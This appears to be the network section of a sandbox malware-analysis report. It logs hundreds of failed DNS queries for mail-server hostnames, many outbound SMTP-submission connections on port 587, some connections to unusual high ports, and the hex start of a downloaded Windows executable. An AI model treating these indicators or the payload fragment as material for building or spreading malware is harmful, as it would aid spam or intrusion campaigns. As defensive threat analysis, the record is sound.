Source: unknown	DNS traffic detected: query: secure.smybilisim.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.francias.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: itwealthservices.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.d7ca6544cf.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.workerhands.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.ctbr.ch replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: moraistales.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.projectasfalis.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.it2i.fr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: socotim.fr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.63b98cf6ec.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.hyani.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.ignitelab.co.za replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.e-ducare.com.ar replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: out.gdas.ac.cn replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.bruna.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.nationwide.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: initiatesystems.com.s5a2.psmtp.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.solutions4.it replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: skada.web.id replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.rbc.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.callplus.tn replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.fastmail.tr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.hooevents.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.10834588ad.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.amazingsecretbargains.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.confiancenegocios.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.meinich.no replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.adolphis.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.72d93a2bb1.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.fastek.pl replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.talkingthreads.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.headwest.asn.au replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.sesisenaisp.org.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.solano.cc.ca.us replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: 123.comh replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.nhdac.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: securesmtp.florintree.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.a3fcfd0807.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.dittaponzoshop.it replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.bredband.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.geopec.it replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.charly.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.pilarsaenz.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.techdoc.it replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.cipassce.191.it replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.piepmeyer.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.ntlworld.co.uk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.gamblr.co replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.facadetreatment.com.my replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.oslearn.com.au replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.xtf.fr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.meatex.it replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.mahmoodalamath.page replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: duna.by replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: out.columbus.co replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.cs-centar.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.boophis.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.mayanet.com.tr replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: securesmtp.fxcmtraders.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.yfscorp.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: walla.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.pop.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.belrin.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.needkasoi.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.naurothinsurance.bc.ca replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.vega.ocn.ne.jp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.freelap.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.pr-trust.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.hotelvergiliusbillia.it replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.inteligenceit.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.slape.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.kwood.fr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.org.lichess.mobileapp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.ralindia.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.afg.hs-anhalt.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.aijnsa.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.blpcollegemasaurhi.ac.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.sistemaplug.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.clubinternet.fr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: afasf.afasf replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.z.com.ar replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.hert.ac.uk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.telangana.gov.in replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: mail.net4use.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.cuttingclub.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.clan-usp.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.mh-enterprise.co.jp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.fotobubbles.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.nationaliles.com.au replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.myespace.com.ca replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.cohers.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.designedwithi.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.directtrade.com.eg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.netsite.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.vdbhorecadiensten.nl replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.perfee.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.bbt11.com.ar replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rcbgd.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: thelosangelesreosales.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: relaxtionflouwerwi.shop replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.cetren.cn replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.jpsaccountants.co.uk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.proexport.com.co replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: secure.pistor-meisel.d replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.flowtec.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: b2l.in replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: smtp.lmmgcorp.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.trinityvc.com.tw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.mccarch.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.saboresdelcampo.com.ar replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: resfest.ca replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.student.zatlanka.cz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.edumail.voc.gov.au replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: thefindmachine.de replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: out.seddonhowarth.co.uk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.mtroyal.ca replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.kgbservicos.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.sacredheartconventhighschool.co.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.displaymax.co.th replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.153ec6e692.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.cevdata.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.nava.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.lactodorum.co.uk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.mad4music.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.ontariosewingautomation.ca replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.toplantec.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.arista.my replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.kyokuyo-sekkei.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.fortaleza.inf.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.asdasdasd.it replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.cityofloveland.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.siso.ch replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.wmctech.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.sobrasiluniformes.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.sightx.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.blpcollegemasaurhi.ac.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.im-creative.co.uk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: flamingo-club.com.ua replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.iak.com.tr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.mprn.mp.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.pkgassociates.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: deprivedrinkyfaiir.shop replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.raranride.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.count-face.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.alitcomercial.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.4ls.co.jp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.puertohuelva.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.sulmetais.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.brtph632.bnr.ca replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: itelefonica.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.fixmybadcreditscore.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.cunhaeporto.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.mv-hallstadt.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: chiphospitality.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.struzyna.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.arrobanetbandalarga.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.wehealforall.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.estudante.sed.sc.gov.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.stu-esg.fr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.bishanoi.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wasfahan.com.eg replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.sad55.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.efield.fr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.eventosypromociones.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: smtp.k9.dion.ne.jp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.thejcafe.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.prodasva.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.cangus.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.upfront.net.au replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.gimel.hu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: inter7.jp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.struzyna.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.cendoj.ramajudicial.gov.co replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.favel-lyon.fr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.delgado-meyer-avocats.fr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.paragonautomotive.co.uk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.fundy.ca replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.jones.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.pypalt.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.northsidebaptist.org.au replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.tpscomputers.com.au replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.streetzermusic.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.kpploa.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.rectifiersgates.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.akerouac.fr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.pommaz.com.au replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.unimep.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.stcontrol.es replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.sunnrgysystems.co.tz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.timeout.es replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.mediacall.at replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.lion.ocn.jp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.stagingdev.in replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: out.immigrationoptions.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: com.directassurance.service.auto replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.geoinfotech.wajis.com.ng replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.worrall.fsbusiness.co.uk replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: detailbaconroollyws.shop replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: jornalcanudos.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.lasblo.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.jhope.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.arthurlodge.co.uk replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: mail.kpploa.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: considerrycurrentyws.shop replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.steglers.dk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.pallisgaard.eu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.fortress.co.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lanarkshire.scot.n replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.axtron-milieuconsult.be replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.langdalewills.co.uk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.feugenia.fr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.aguascalientes.gob.mx replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: mail.blueps.co.uk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.promotherme.ma replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.mshac.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.presenca.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.lindoiashopping.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.5agvmhwlsi.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: com.ssportplus.dice replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.mundoopen.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.f254425b43.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: horsedwollfedrwos.shop replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: zaif.express.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.bayerntreuhand.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.computerhighway.ch replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.77wyx13uew.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.callplus.tn replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.afgsolucoes.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.thejcafe.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.carnevale.co.uk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.celluliteanti24.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.dashcam-france.fr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.xplore.be replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.penggilingan.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.compuserve.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.wyndcliff.f9.co.uk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.stauseetaucher.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.pcmonkeys.fr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.abc-clasificados.com.ar replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: patternapplauderw.shop replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.madrasah.id replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.nucci.site replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.bibelstammtisch.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.maisprevestibular.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.hgdg.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.babydomik.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.mitsui-mining.co.jp replaycode: Name error (3)

Source: unknown

Network traffic detected: DNS query count 590

Source: unknown

Network traffic detected: IP country count 26

Source: global traffic	TCP traffic: 192.168.2.11:49716 -> 185.215.113.67:40960
Source: global traffic	TCP traffic: 192.168.2.11:49721 -> 185.172.128.33:8970
Source: global traffic	TCP traffic: 192.168.2.11:49738 -> 185.43.220.45:4001
Source: global traffic	TCP traffic: 192.168.2.11:49793 -> 142.250.150.26:587
Source: global traffic	TCP traffic: 192.168.2.11:49794 -> 159.8.122.149:587
Source: global traffic	TCP traffic: 192.168.2.11:49795 -> 195.130.132.10:587
Source: global traffic	TCP traffic: 192.168.2.11:49796 -> 194.106.180.18:587
Source: global traffic	TCP traffic: 192.168.2.11:49797 -> 104.22.65.144:587
Source: global traffic	TCP traffic: 192.168.2.11:49798 -> 187.85.164.166:587
Source: global traffic	TCP traffic: 192.168.2.11:49799 -> 168.0.132.203:587
Source: global traffic	TCP traffic: 192.168.2.11:49800 -> 142.251.9.26:587
Source: global traffic	TCP traffic: 192.168.2.11:49807 -> 120.50.131.112:587
Source: global traffic	TCP traffic: 192.168.2.11:49808 -> 13.248.158.7:587
Source: global traffic	TCP traffic: 192.168.2.11:49810 -> 64.136.52.50:587
Source: global traffic	TCP traffic: 192.168.2.11:49811 -> 117.50.20.113:587
Source: global traffic	TCP traffic: 192.168.2.11:49812 -> 194.153.145.104:587
Source: global traffic	TCP traffic: 192.168.2.11:49816 -> 40.85.218.2:587
Source: global traffic	TCP traffic: 192.168.2.11:49818 -> 2.207.150.234:587
Source: global traffic	TCP traffic: 192.168.2.11:49821 -> 106.11.172.9:587
Source: global traffic	TCP traffic: 192.168.2.11:49822 -> 81.2.195.204:587
Source: global traffic	TCP traffic: 192.168.2.11:49823 -> 84.2.43.67:587
Source: global traffic	TCP traffic: 192.168.2.11:49824 -> 193.137.200.184:587
Source: global traffic	TCP traffic: 192.168.2.11:49828 -> 134.122.66.149:587
Source: global traffic	TCP traffic: 192.168.2.11:49834 -> 74.125.71.27:587
Source: global traffic	TCP traffic: 192.168.2.11:49835 -> 94.177.209.28:587
Source: global traffic	TCP traffic: 192.168.2.11:49840 -> 89.39.182.172:587
Source: global traffic	TCP traffic: 192.168.2.11:49841 -> 46.23.69.44:587
Source: global traffic	TCP traffic: 192.168.2.11:49842 -> 185.164.14.70:587
Source: global traffic	TCP traffic: 192.168.2.11:49843 -> 136.159.19.168:587
Source: global traffic	TCP traffic: 192.168.2.11:49844 -> 194.19.134.85:587
Source: global traffic	TCP traffic: 192.168.2.11:49845 -> 103.224.182.246:587
Source: global traffic	TCP traffic: 192.168.2.11:49850 -> 194.158.122.55:587
Source: global traffic	TCP traffic: 192.168.2.11:49851 -> 213.209.1.145:587
Source: global traffic	TCP traffic: 192.168.2.11:49852 -> 188.114.96.3:587
Source: global traffic	TCP traffic: 192.168.2.11:49854 -> 142.250.153.26:587
Source: global traffic	TCP traffic: 192.168.2.11:49856 -> 62.149.188.200:587
Source: global traffic	TCP traffic: 192.168.2.11:49857 -> 188.128.207.134:587
Source: global traffic	TCP traffic: 192.168.2.11:49863 -> 216.23.176.68:587
Source: global traffic	TCP traffic: 192.168.2.11:49864 -> 3.64.163.50:587
Source: global traffic	TCP traffic: 192.168.2.11:49865 -> 45.178.224.186:587
Source: global traffic	TCP traffic: 192.168.2.11:49866 -> 209.59.172.32:587
Source: global traffic	TCP traffic: 192.168.2.11:49867 -> 213.209.1.147:587
Source: global traffic	TCP traffic: 192.168.2.11:49869 -> 104.18.3.81:587
Source: global traffic	TCP traffic: 192.168.2.11:49872 -> 49.213.103.199:587
Source: global traffic	TCP traffic: 192.168.2.11:49876 -> 92.249.45.70:587
Source: global traffic	TCP traffic: 192.168.2.11:49877 -> 209.172.128.24:587
Source: global traffic	TCP traffic: 192.168.2.11:49885 -> 217.6.164.11:587
Source: global traffic	TCP traffic: 192.168.2.11:49886 -> 139.134.5.153:587
Source: global traffic	TCP traffic: 192.168.2.11:49887 -> 65.20.63.172:587
Source: global traffic	TCP traffic: 192.168.2.11:49888 -> 52.117.251.242:587
Source: global traffic	TCP traffic: 192.168.2.11:49890 -> 72.52.178.23:587
Source: global traffic	TCP traffic: 192.168.2.11:49894 -> 68.178.150.105:587
Source: global traffic	TCP traffic: 192.168.2.11:49895 -> 90.127.113.58:587
Source: global traffic	TCP traffic: 192.168.2.11:49899 -> 76.223.67.189:587
Source: global traffic	TCP traffic: 192.168.2.11:49902 -> 185.60.37.18:587
Source: global traffic	TCP traffic: 192.168.2.11:49906 -> 90.216.128.5:587
Source: global traffic	TCP traffic: 192.168.2.11:49907 -> 173.203.187.2:587
Source: global traffic	TCP traffic: 192.168.2.11:49908 -> 187.6.211.40:587
Source: global traffic	TCP traffic: 192.168.2.11:55872 -> 132.210.7.145:587
Source: global traffic	TCP traffic: 192.168.2.11:55874 -> 198.58.116.74:587
Source: global traffic	TCP traffic: 192.168.2.11:55875 -> 52.101.68.27:587
Source: global traffic	TCP traffic: 192.168.2.11:55881 -> 194.165.29.35:587
Source: global traffic	TCP traffic: 192.168.2.11:55882 -> 193.81.82.81:587
Source: global traffic	TCP traffic: 192.168.2.11:55889 -> 162.241.203.166:587
Source: global traffic	TCP traffic: 192.168.2.11:55890 -> 52.147.208.244:587
Source: global traffic	TCP traffic: 192.168.2.11:55891 -> 82.165.178.113:587
Source: global traffic	TCP traffic: 192.168.2.11:55892 -> 199.59.243.225:587
Source: global traffic	TCP traffic: 192.168.2.11:55893 -> 13.248.169.48:587
Source: global traffic	TCP traffic: 192.168.2.11:55895 -> 193.74.71.25:587
Source: global traffic	TCP traffic: 192.168.2.11:55905 -> 163.43.104.165:587
Source: global traffic	TCP traffic: 192.168.2.11:55907 -> 104.131.176.42:587
Source: global traffic	TCP traffic: 192.168.2.11:55909 -> 185.138.56.194:587
Source: global traffic	TCP traffic: 192.168.2.11:55910 -> 52.101.41.24:587
Source: global traffic	TCP traffic: 192.168.2.11:55911 -> 142.250.153.27:587
Source: global traffic	TCP traffic: 192.168.2.11:55915 -> 217.72.192.67:587
Source: global traffic	TCP traffic: 192.168.2.11:55916 -> 99.83.253.192:587
Source: global traffic	TCP traffic: 192.168.2.11:55917 -> 191.252.112.195:587
Source: global traffic	TCP traffic: 192.168.2.11:55920 -> 132.226.58.96:587
Source: global traffic	TCP traffic: 192.168.2.11:55924 -> 211.29.132.105:587
Source: global traffic	TCP traffic: 192.168.2.11:55927 -> 203.4.188.28:587
Source: global traffic	TCP traffic: 192.168.2.11:55931 -> 104.18.28.62:587
Source: global traffic	TCP traffic: 192.168.2.11:55938 -> 67.219.246.213:587
Source: global traffic	TCP traffic: 192.168.2.11:55942 -> 52.101.73.28:587
Source: global traffic	TCP traffic: 192.168.2.11:55943 -> 193.234.251.123:587
Source: global traffic	TCP traffic: 192.168.2.11:55948 -> 94.100.132.8:587
Source: global traffic	TCP traffic: 192.168.2.11:55950 -> 191.252.112.194:587
Source: global traffic	TCP traffic: 192.168.2.11:55951 -> 104.37.34.230:587
Source: global traffic	TCP traffic: 192.168.2.11:55955 -> 199.85.66.2:587
Source: global traffic	TCP traffic: 192.168.2.11:55956 -> 191.6.216.38:587
Source: global traffic	TCP traffic: 192.168.2.11:55958 -> 52.101.68.29:587
Source: global traffic	TCP traffic: 192.168.2.11:55961 -> 18.119.154.66:587
Source: global traffic	TCP traffic: 192.168.2.11:55962 -> 206.62.174.243:587
Source: global traffic	TCP traffic: 192.168.2.11:55964 -> 79.143.126.202:587
Source: global traffic	TCP traffic: 192.168.2.11:55966 -> 217.160.0.220:587
Source: global traffic	TCP traffic: 192.168.2.11:55969 -> 74.125.200.26:587
Source: global traffic	TCP traffic: 192.168.2.11:50632 -> 185.164.14.124:587
Source: global traffic	TCP traffic: 192.168.2.11:50671 -> 81.169.145.97:587

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 04 Jun 2024 21:09:12 GMTContent-Type: application/octet-streamContent-Length: 1264128Last-Modified: Mon, 27 May 2024 02:09:50 GMTConnection: keep-aliveETag: "6653eb6e-134a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 91 3e de a3 d5 5f b0 f0 d5 5f b0 f0 d5 5f b0 f0 06 2d b3 f1 d9 5f b0 f0 06 2d b5 f1 79 5f b0 f0 06 2d b4 f1 c0 5f b0 f0 17 de b4 f1 c7 5f b0 f0 17 de b3 f1 c0 5f b0 f0 06 2d b1 f1 d0 5f b0 f0 d5 5f b1 f0 a9 5f b0 f0 17 de b5 f1 81 5f b0 f0 26 dd b5 f1 d4 5f b0 f0 26 dd b2 f1 d4 5f b0 f0 52 69 63 68 d5 5f b0 f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 